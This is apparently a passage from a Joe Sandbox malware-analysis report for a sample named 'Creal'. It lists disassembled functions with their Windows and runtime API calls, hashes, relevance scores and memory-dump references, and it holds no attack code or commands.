Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: be7416da91f84ed5bfdd546aa92e4ee07cb2f4e154380db95b5ab7bb0620c26f
Instruction ID: b778b56aa00e515ce5252ad5f6652f385b502b92e02a441eac2829ca5adbf015
Opcode Fuzzy Hash: be7416da91f84ed5bfdd546aa92e4ee07cb2f4e154380db95b5ab7bb0620c26f
Instruction Fuzzy Hash: 24C1D32390C787A1E761AB5994102BDF764FF81B80FD50139FA4D07792CE7EE845A32A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7D520 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF738B7D50B), ref: 00007FF738B7D63C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF738B7D50B), ref: 00007FF738B7D6C7

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 9c71bbc92960716eb9d411b0b48861d3e4dcea1db34bc3604978879cc3cc685b
Instruction ID: da47b6fe615002d65c4312e9b19f2f88c3346544763c60a62ed5e06b3ce5061d
Opcode Fuzzy Hash: 9c71bbc92960716eb9d411b0b48861d3e4dcea1db34bc3604978879cc3cc685b
Instruction Fuzzy Hash: 4191D863E08753A5F750AF2D944027DEBA0AF44BC8F984139EE0E67699CF3AD441E325

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7FCEC Relevance: 6.2, APIs: 4, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF738B7FDDC
_get_daylight.LIBCMT ref: 00007FF738B7FDED
_get_daylight.LIBCMT ref: 00007FF738B7FDFE
_isindst.LIBCMT ref: 00007FF738B7FEC9

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 576313037ba361094b23b779854add166a997b8059c5947e2a7d8f77b38f16ad
Instruction ID: 602d5ea666e8076cff196d797133ab4bc2f81618f1a4c2d5f07f8f620ff7cab9
Opcode Fuzzy Hash: 576313037ba361094b23b779854add166a997b8059c5947e2a7d8f77b38f16ad
Instruction Fuzzy Hash: 4851D473F042135BFB28EB2899456BCE7A1AF00358F900135ED2D56BE5DB39A401971A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B75854 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF738B75887
GetFileInformationByHandle.KERNELBASE ref: 00007FF738B758E9
GetLastError.KERNEL32 ref: 00007FF738B7597A
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,?,00007FF738B7578C), ref: 00007FF738B759C6

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 3c2c438fc886d9266b26b1d77d473080d340d464ba6af73c9b4e0904225c3da2
Instruction ID: ca9ba93dab76e743ec97e451d20a0a9a3e8f150105d55f6aeed27dd3e2f378f1
Opcode Fuzzy Hash: 3c2c438fc886d9266b26b1d77d473080d340d464ba6af73c9b4e0904225c3da2
Instruction Fuzzy Hash: 9A519E23A087429AFB10EF74D4503BDF3A1AF44B68F908535EE4D57699DF39D480A326

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B6C07C Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF738B6C08B

Part of subcall function 00007FF738B6C24C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF738B6C26E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF738B6C0A0
__scrt_release_startup_lock.LIBCMT ref: 00007FF738B6C10E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF738B6C161

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 416c85195b1c4a12d0bca0f9f3e62a22dfdeb9afd9333f8228f8268f9139cf84
Instruction ID: 680d4dbab88eefb05660ffcd9c570d2503064028c1263b71c7912400599d1e30
Opcode Fuzzy Hash: 416c85195b1c4a12d0bca0f9f3e62a22dfdeb9afd9333f8228f8268f9139cf84
Instruction Fuzzy Hash: B5313E13E4C243A1FA64BB6594623BAE391AF45784FC44435E90E472E7CE3FB405A63B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B75700 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B7572D
CreateFileW.KERNELBASE ref: 00007FF738B7576C
CloseHandle.KERNEL32 ref: 00007FF738B757A1

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 4e99df99e7301f39d701a276f02ef329721f1d5d609599a82ba0c959db36bcb5
Instruction ID: c6b15b678abda28f7cb6f44d5b58e04b1d35c6df7d4bc105512d4bad036fdb40
Opcode Fuzzy Hash: 4e99df99e7301f39d701a276f02ef329721f1d5d609599a82ba0c959db36bcb5
Instruction Fuzzy Hash: C341CF23D1878393F710AB249500369E760FF94764F508334FAAC07AD6EF7DA1A09725

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B79FC0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF738B79FBC), ref: 00007FF738B79FD1
TerminateProcess.KERNEL32(?,?,?,00007FF738B79FBC), ref: 00007FF738B79FDC
ExitProcess.KERNEL32 ref: 00007FF738B79FEB

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 8770705702221fa6c619df89f3c2f6fa117b36761db68559c6d5aced1687d582
Instruction ID: 7196bb4c0e859d7723dc766189e438e0087ff37c046a5561431177cf4f0833df
Opcode Fuzzy Hash: 8770705702221fa6c619df89f3c2f6fa117b36761db68559c6d5aced1687d582
Instruction Fuzzy Hash: CED09E12B1874762EB543B755C9947DD2156F48701F90183CE82B0A3A3DD3FA84D636A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7027C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B702C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B703B7

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2f7bb398de8c4fd3266a2cb5114fed605c2779b223882c17691b198031e80610
Instruction ID: a615fb1ab6d3336987329b582107935e957eda4ac54f5522cad737840de65854
Opcode Fuzzy Hash: 2f7bb398de8c4fd3266a2cb5114fed605c2779b223882c17691b198031e80610
Instruction Fuzzy Hash: FD51FB23B0974396E664BE2E940067EE291BF44BA4F944635FD6C077C5CE3ED402A62A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B6BF90 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF738B6BFA7
_RTC_Initialize.LIBCMT ref: 00007FF738B6BFC8

Part of subcall function 00007FF738B795A4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B795D6

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Initialize_invalid_parameter_noinfo_set_fmode
String ID:
API String ID: 3548387204-0
Opcode ID: 8fe16d89185869baf5eab60e438c3c72e8fc46f5e9ebbf224ebf2c9926b5ce16
Instruction ID: aa3ecc4357a163d70550adc6738842184cf9be6b21de3dccc06c28f267903110
Opcode Fuzzy Hash: 8fe16d89185869baf5eab60e438c3c72e8fc46f5e9ebbf224ebf2c9926b5ce16
Instruction Fuzzy Hash: A1117953E49243A1FA547BB848672F9C2815FA5344FD11439E90D862D3EE3FB84066BF

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7B11C Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF738B7AF99,?,?,00000000,00007FF738B7B04E), ref: 00007FF738B7B18A
GetLastError.KERNEL32(?,?,?,00007FF738B7AF99,?,?,00000000,00007FF738B7B04E), ref: 00007FF738B7B194

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: b40b4e21971f44bf7084fa7db8f9dedbad63d491ac625d0e9d3072d74158efd6
Instruction ID: 67a1f09072f500ca3b27c39e193af39184a1607a3d8fd8b1a2ba8c8b93e65c04
Opcode Fuzzy Hash: b40b4e21971f44bf7084fa7db8f9dedbad63d491ac625d0e9d3072d74158efd6
Instruction Fuzzy Hash: F121F623B2878371FA507728945427AD2816F847E0FC44234FA2E47BD1CE3EE445A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7C6F4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF738B7C88D), ref: 00007FF738B7C740
GetLastError.KERNEL32(?,?,?,?,?,00007FF738B7C88D), ref: 00007FF738B7C74A

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: b08d68fc7a6d73a6a6e4925e4a9dc39ae2e5fb86b78546c657aad159ae176ccc
Instruction ID: cbbf245263658e2f55b8162c44da353ac66065fe6c1ce337af4da1c52f552dfa
Opcode Fuzzy Hash: b08d68fc7a6d73a6a6e4925e4a9dc39ae2e5fb86b78546c657aad159ae176ccc
Instruction Fuzzy Hash: 0B110123708B8291EA10AB29B414069E761AF44BF4F940335EEBD0B7E9CF3DD0419709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B759FC Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF738B75911), ref: 00007FF738B75A2F
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF738B75911), ref: 00007FF738B75A45

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 01955a0fff7c8d04301666730a5fae84f6474b835d1eccbedadb07c42297a861
Instruction ID: 397f3228418a196230d2a73daf9f7268480f39b7df511c520f10ee9c798f4726
Opcode Fuzzy Hash: 01955a0fff7c8d04301666730a5fae84f6474b835d1eccbedadb07c42297a861
Instruction Fuzzy Hash: A511BF2360C74791EA10AB14A45107EF7A0FF84760F900235FAAD859E8EF3DE104EB24

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B780BC Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF738B77F39), ref: 00007FF738B780DF
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF738B77F39), ref: 00007FF738B780F5

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: a96e0719182de34ecec5e80d0f089f3d687da4b36ed0106fdd62851d0e6a23ab
Instruction ID: a122714c3b3f04fd31749d17c51e414ed3ce74b8582e3b900404113253cb5822
Opcode Fuzzy Hash: a96e0719182de34ecec5e80d0f089f3d687da4b36ed0106fdd62851d0e6a23ab
Instruction Fuzzy Hash: 34018E2351C29292E750AF18A40127FF7B1FF85B61FA00235F6A9459E8DF7ED110EB29

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7AF0C Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF738B83392,?,?,?,00007FF738B833CF,?,?,00000000,00007FF738B83895,?,?,00000000,00007FF738B837C7), ref: 00007FF738B7AF22
GetLastError.KERNEL32(?,?,?,00007FF738B83392,?,?,?,00007FF738B833CF,?,?,00000000,00007FF738B83895,?,?,00000000,00007FF738B837C7), ref: 00007FF738B7AF2C

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: bfb090b2684f97747e4e2589e7b79ee9627266c2664004addae3296ee4c2c8e2
Instruction ID: 3ddc3d6005b7be51d411ee849d3033432038094e25900f57c118c6ffe2790023
Opcode Fuzzy Hash: bfb090b2684f97747e4e2589e7b79ee9627266c2664004addae3296ee4c2c8e2
Instruction Fuzzy Hash: 7BE08652F08343A3FF457BB55845035D1559F84B01FC05434E81E8A2A2DE3E6885633A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B786A8 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00007FF738B786AC
GetLastError.KERNEL32 ref: 00007FF738B786B6

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: 4ec91da2963a3bb04052aa88cca811f321d2e1bc87a8cb66c404f3cefda0a691
Instruction ID: 95bcf2a3c2cac8d8cac1a5091969138303b3371ef149c3621cb9c386397d2d1c
Opcode Fuzzy Hash: 4ec91da2963a3bb04052aa88cca811f321d2e1bc87a8cb66c404f3cefda0a691
Instruction Fuzzy Hash: C9D0C912E19643B1E6243B7A1845039D1902F44721FD00A34E039812F1DE7EE045263F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B77E24 Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE ref: 00007FF738B77E28
GetLastError.KERNEL32 ref: 00007FF738B77E32

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 77acb875fdee33a12be4fb2ce6bc4fe447f240992313a5771dda9a679e1972f9
Instruction ID: 8c373c8dd32060a1204539046a95341505dda87fffc7aa3c1346e1abef53efb0
Opcode Fuzzy Hash: 77acb875fdee33a12be4fb2ce6bc4fe447f240992313a5771dda9a679e1972f9
Instruction Fuzzy Hash: 54D0C912F19643A2E61437791885039D1942F44735FE01634E039801E1DE3EA889323B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B67D40 Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738B68AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF738B62ABB), ref: 00007FF738B68B1A

_findclose.LIBCMT ref: 00007FF738B67F99

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ByteCharMultiWide_findclose
String ID:
API String ID: 2772937645-0
Opcode ID: a8eec92fcd3b15b2131d1e03c4232d75d862536ce56818bce2d995f04c6387b6
Instruction ID: f1a99abb439f6dac52cd58870a00ec774eb4ffd3f6ab1646bb967a4a81a71904
Opcode Fuzzy Hash: a8eec92fcd3b15b2131d1e03c4232d75d862536ce56818bce2d995f04c6387b6
Instruction Fuzzy Hash: BA719053E18BC692E611DB2CC5052FDA360F7A9B48F94E321DB9C12592EF39E2D9C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7C46C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B7C494

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6c27d5487ee8182774302d92aae2f9046d2b98e9277a8b83ca44002d61502fcf
Instruction ID: 938b39868fc84687889ec16f5546c00b1f6f078109420d13c7d5cd522d9bc0ca
Opcode Fuzzy Hash: 6c27d5487ee8182774302d92aae2f9046d2b98e9277a8b83ca44002d61502fcf
